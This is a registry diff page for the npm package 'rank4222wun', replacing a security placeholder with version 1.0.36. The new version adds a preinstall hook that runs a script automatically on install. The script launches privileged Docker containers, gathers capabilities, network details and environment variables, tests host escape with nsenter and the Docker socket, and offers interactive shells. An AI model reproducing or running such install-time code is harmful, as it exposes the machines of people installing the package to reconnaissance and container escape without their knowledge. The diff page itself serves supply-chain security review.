rank4222wun 0.0.1-security → 1.0.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.36",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,444 @@
1
+ // run-privileged-container.js
2
+ const { exec, spawn } = require('child_process');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ class PrivilegedContainerRunner {
7
+ constructor() {
8
+ this.containerId = null;
9
+ this.outputLog = [];
10
+ this.status = 'stopped';
11
+ }
12
+
13
+ async runContainer() {
14
+ console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
15
+
16
+ return new Promise((resolve, reject) => {
17
+ const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
18
+
19
+ exec(dockerCommand, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error('❌ خطأ في تشغيل الحاوية:', error.message);
22
+ reject(error);
23
+ return;
24
+ }
25
+
26
+ this.containerId = stdout.trim();
27
+ console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
28
+ this.status = 'running';
29
+
30
+ // الانتظار قليلاً ثم تنفيذ الأوامر
31
+ setTimeout(() => {
32
+ this.executeCommands()
33
+ .then(resolve)
34
+ .catch(reject);
35
+ }, 2000);
36
+ });
37
+ });
38
+ }
39
+
40
+ async executeCommands() {
41
+ console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
42
+
43
+ const commands = [
44
+ // معلومات النظام الأساسية
45
+ 'echo "=== معلومات النظام ==="',
46
+ 'cat /etc/os-release',
47
+ 'uname -a',
48
+ 'whoami',
49
+ 'id',
50
+
51
+ // معلومات الذاكرة والمعالج
52
+ 'echo -e "\n=== موارد النظام ==="',
53
+ 'free -h',
54
+ 'df -h',
55
+ 'cat /proc/cpuinfo | grep "model name" | head -1',
56
+
57
+ // التحقق من الصلاحيات
58
+ 'echo -e "\n=== الصلاحيات المميزة ==="',
59
+ 'capsh --print',
60
+ 'cat /proc/self/status | grep Cap',
61
+
62
+ // معلومات الشبكة
63
+ 'echo -e "\n=== معلومات الشبكة ==="',
64
+ 'ip addr show',
65
+ 'hostname -I',
66
+ 'route -n',
67
+
68
+ // فحص الملفات والمجلدات
69
+ 'echo -e "\n=== نظام الملفات ==="',
70
+ 'ls -la /',
71
+ 'mount | head -20',
72
+
73
+ // تحليل الحاوية
74
+ 'echo -e "\n=== معلومات الحاوية ==="',
75
+ 'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
76
+ 'cat /proc/self/mountinfo 2>/dev/null | head -10',
77
+
78
+ // اختبار الوصول إلى المضيف
79
+ 'echo -e "\n=== اختبار الوصول للمضيف ==="',
80
+ 'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
81
+ 'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
82
+
83
+ // معلومات إضافية
84
+ 'echo -e "\n=== معلومات إضافية ==="',
85
+ 'env | head -20',
86
+ 'ps aux | head -10'
87
+ ];
88
+
89
+ const results = {};
90
+
91
+ for (let i = 0; i < commands.length; i++) {
92
+ const command = commands[i];
93
+
94
+ // إذا كان الأمر echo، عرضه مباشرة
95
+ if (command.startsWith('echo')) {
96
+ const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
97
+ console.log(message);
98
+ this.outputLog.push(message);
99
+ continue;
100
+ }
101
+
102
+ // تنفيذ الأمر داخل الحاوية
103
+ try {
104
+ const output = await this.execInContainer(command);
105
+ console.log(output);
106
+ this.outputLog.push(output);
107
+
108
+ // حفظ النتائج المهمة
109
+ if (command.includes('os-release')) {
110
+ results.osInfo = output;
111
+ } else if (command.includes('uname -a')) {
112
+ results.kernelInfo = output;
113
+ } else if (command.includes('capsh')) {
114
+ results.capabilities = output;
115
+ } else if (command.includes('docker.sock')) {
116
+ results.dockerSocket = output.includes('✅');
117
+ }
118
+
119
+ } catch (error) {
120
+ const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
121
+ console.log(errorMsg);
122
+ this.outputLog.push(errorMsg);
123
+ }
124
+
125
+ // تأخير بسيط بين الأوامر
126
+ await this.delay(500);
127
+ }
128
+
129
+ return results;
130
+ }
131
+
132
+ execInContainer(command) {
133
+ return new Promise((resolve, reject) => {
134
+ if (!this.containerId) {
135
+ reject(new Error('لا توجد حاوية نشطة'));
136
+ return;
137
+ }
138
+
139
+ const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
140
+
141
+ exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
142
+ if (error) {
143
+ // بعض الأوامر تعطي stderr لكنها ناجحة
144
+ if (stderr && !stdout) {
145
+ resolve(stderr);
146
+ } else {
147
+ reject(error);
148
+ }
149
+ } else {
150
+ resolve(stdout || stderr || '');
151
+ }
152
+ });
153
+ });
154
+ }
155
+
156
+ delay(ms) {
157
+ return new Promise(resolve => setTimeout(resolve, ms));
158
+ }
159
+
160
+ async getInteractiveShell() {
161
+ console.log('\n💻 تشغيل shell تفاعلي...');
162
+ console.log(' استخدم "exit" للخروج\n');
163
+
164
+ return new Promise((resolve) => {
165
+ const dockerProcess = spawn('docker', [
166
+ 'exec', '-it', this.containerId, '/bin/bash'
167
+ ], {
168
+ stdio: 'inherit'
169
+ });
170
+
171
+ dockerProcess.on('close', (code) => {
172
+ console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
173
+ resolve();
174
+ });
175
+ });
176
+ }
177
+
178
+ saveOutput() {
179
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
180
+ const filename = `container-output-${timestamp}.txt`;
181
+
182
+ const output = [
183
+ `ناتج تشغيل حاوية مميزة`,
184
+ `تاريخ: ${new Date().toLocaleString()}`,
185
+ `Container ID: ${this.containerId || 'غير معروف'}`,
186
+ `الحالة: ${this.status}`,
187
+ `='.repeat(50)}\n\n`,
188
+ ...this.outputLog
189
+ ].join('\n');
190
+
191
+ fs.writeFileSync(filename, output);
192
+ console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
193
+
194
+ return filename;
195
+ }
196
+
197
+ async cleanup() {
198
+ if (this.containerId && this.status === 'running') {
199
+ console.log('\n🧹 تنظيف الحاوية...');
200
+
201
+ try {
202
+ await this.execOnHost(`docker stop ${this.containerId}`);
203
+ await this.execOnHost(`docker rm ${this.containerId}`);
204
+ this.status = 'stopped';
205
+ console.log('✅ تم تنظيف الحاوية بنجاح');
206
+ } catch (error) {
207
+ console.error('❌ خطأ في التنظيف:', error.message);
208
+ }
209
+ }
210
+ }
211
+
212
+ execOnHost(command) {
213
+ return new Promise((resolve, reject) => {
214
+ exec(command, (error, stdout, stderr) => {
215
+ if (error) {
216
+ reject(error);
217
+ } else {
218
+ resolve(stdout);
219
+ }
220
+ });
221
+ });
222
+ }
223
+
224
+ async run() {
225
+ try {
226
+ // 1. تشغيل الحاوية
227
+ await this.runContainer();
228
+
229
+ // 2. تنفيذ الأوامر
230
+ const results = await this.executeCommands();
231
+
232
+ // 3. حفظ النتائج
233
+ const outputFile = this.saveOutput();
234
+
235
+ // 4. عرض الملخص
236
+ this.showSummary(results, outputFile);
237
+
238
+ // 5. خيار shell تفاعلي
239
+ console.log('\n🎯 الخيارات المتاحة:');
240
+ console.log(' 1. تشغيل shell تفاعلي (bash)');
241
+ console.log(' 2. تنظيف الحاوية والخروج');
242
+ console.log(' 3. الخروج بدون تنظيف');
243
+
244
+ // انتظار قرار المستخدم
245
+ await this.waitForUserDecision();
246
+
247
+ } catch (error) {
248
+ console.error('❌ فشل التشغيل:', error.message);
249
+ }
250
+ }
251
+
252
+ showSummary(results, outputFile) {
253
+ console.log('\n' + '='.repeat(60));
254
+ console.log('📊 ملخص تشغيل الحاوية المميزة');
255
+ console.log('='.repeat(60));
256
+
257
+ console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
258
+ console.log(`📁 الناتج محفوظ في: ${outputFile}`);
259
+
260
+ if (results.osInfo) {
261
+ const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
262
+ if (osLine) {
263
+ console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
264
+ }
265
+ }
266
+
267
+ if (results.kernelInfo) {
268
+ console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
269
+ }
270
+
271
+ if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
272
+ console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
273
+ }
274
+
275
+ console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
276
+ console.log('='.repeat(60));
277
+ }
278
+
279
+ async waitForUserDecision() {
280
+ const readline = require('readline').createInterface({
281
+ input: process.stdin,
282
+ output: process.stdout
283
+ });
284
+
285
+ return new Promise((resolve) => {
286
+ readline.question('\nاختر رقم الخيار: ', async (answer) => {
287
+ switch(answer.trim()) {
288
+ case '1':
289
+ await this.getInteractiveShell();
290
+ readline.close();
291
+ await this.cleanup();
292
+ resolve();
293
+ break;
294
+
295
+ case '2':
296
+ readline.close();
297
+ await this.cleanup();
298
+ resolve();
299
+ break;
300
+
301
+ case '3':
302
+ default:
303
+ readline.close();
304
+ console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
305
+ console.log(` Container ID: ${this.containerId}`);
306
+ console.log(' يمكنك تنظيفها يدوياً:');
307
+ console.log(` docker stop ${this.containerId}`);
308
+ console.log(` docker rm ${this.containerId}`);
309
+ resolve();
310
+ break;
311
+ }
312
+ });
313
+ });
314
+ }
315
+ }
316
+
317
+ // ===================== النسخة المبسطة =====================
318
+ function runSimplePrivilegedContainer() {
319
+ console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
320
+
321
+ const dockerProcess = spawn('docker', [
322
+ 'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
323
+ ], {
324
+ stdio: 'inherit'
325
+ });
326
+
327
+ dockerProcess.on('close', (code) => {
328
+ console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
329
+ });
330
+
331
+ // التعامل مع إشارات الإغلاق
332
+ process.on('SIGINT', () => {
333
+ console.log('\n\n⚠️ تم استقبال Ctrl+C...');
334
+ dockerProcess.kill('SIGINT');
335
+ });
336
+ }
337
+
338
+ // ===================== النسخة مع أوامر مسبقة =====================
339
+ function runWithPredefinedCommands() {
340
+ console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
341
+
342
+ const commands = [
343
+ 'echo "=== مرحباً من الحاوية المميزة ==="',
344
+ 'cat /etc/os-release | grep PRETTY_NAME',
345
+ 'uname -a',
346
+ 'whoami',
347
+ 'id',
348
+ 'echo "=== الصلاحيات ==="',
349
+ 'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
350
+ 'echo "=== انتهى ==="',
351
+ 'exit 0'
352
+ ];
353
+
354
+ const dockerProcess = spawn('docker', [
355
+ 'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
356
+ ]);
357
+
358
+ dockerProcess.stdout.on('data', (data) => {
359
+ console.log(data.toString());
360
+ });
361
+
362
+ dockerProcess.stderr.on('data', (data) => {
363
+ console.error(data.toString());
364
+ });
365
+
366
+ dockerProcess.on('close', (code) => {
367
+ console.log(`\n✅ انتهى مع الكود: ${code}`);
368
+ });
369
+ }
370
+
371
+ // ===================== الوظيفة الرئيسية =====================
372
+ async function main() {
373
+ console.log(`
374
+ ╔══════════════════════════════════════════════════════════╗
375
+ ║ تشغيل حاوية Docker مميزة ║
376
+ ║ Privileged Container Runner ║
377
+ ╚══════════════════════════════════════════════════════════╝
378
+ `);
379
+
380
+ console.log('📋 اختر طريقة التشغيل:');
381
+ console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
382
+ console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
383
+ console.log(' 3. تشغيل متقدم مع تقرير كامل');
384
+ console.log(' 4. خروج');
385
+
386
+ const readline = require('readline').createInterface({
387
+ input: process.stdin,
388
+ output: process.stdout
389
+ });
390
+
391
+ readline.question('\nاختر رقم: ', async (choice) => {
392
+ switch(choice.trim()) {
393
+ case '1':
394
+ readline.close();
395
+ runSimplePrivilegedContainer();
396
+ break;
397
+
398
+ case '2':
399
+ readline.close();
400
+ runWithPredefinedCommands();
401
+ break;
402
+
403
+ case '3':
404
+ readline.close();
405
+ const runner = new PrivilegedContainerRunner();
406
+ await runner.run();
407
+ break;
408
+
409
+ default:
410
+ readline.close();
411
+ console.log('👋 تم الخروج');
412
+ break;
413
+ }
414
+ });
415
+ }
416
+
417
+ // ===================== تشغيل مباشر من السطر =====================
418
+ if (require.main === module) {
419
+ // التحقق من تثبيت Docker
420
+ exec('which docker', (error) => {
421
+ if (error) {
422
+ console.error('❌ Docker غير مثبت أو غير موجود في PATH');
423
+ console.log(' يرجى تثبيت Docker أولاً:');
424
+ console.log(' https://docs.docker.com/get-docker/');
425
+ process.exit(1);
426
+ }
427
+
428
+ // التحقق من الصلاحيات
429
+ exec('docker ps', (error) => {
430
+ if (error && error.message.includes('permission denied')) {
431
+ console.error('❌ ليس لديك صلاحيات تشغيل Docker');
432
+ console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
433
+ console.log(' sudo usermod -aG docker $USER');
434
+ console.log(' ثم سجل الخروج وأدخل مرة أخرى');
435
+ process.exit(1);
436
+ }
437
+
438
+ // بدء البرنامج
439
+ main();
440
+ });
441
+ });
442
+ }
443
+
444
+ module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.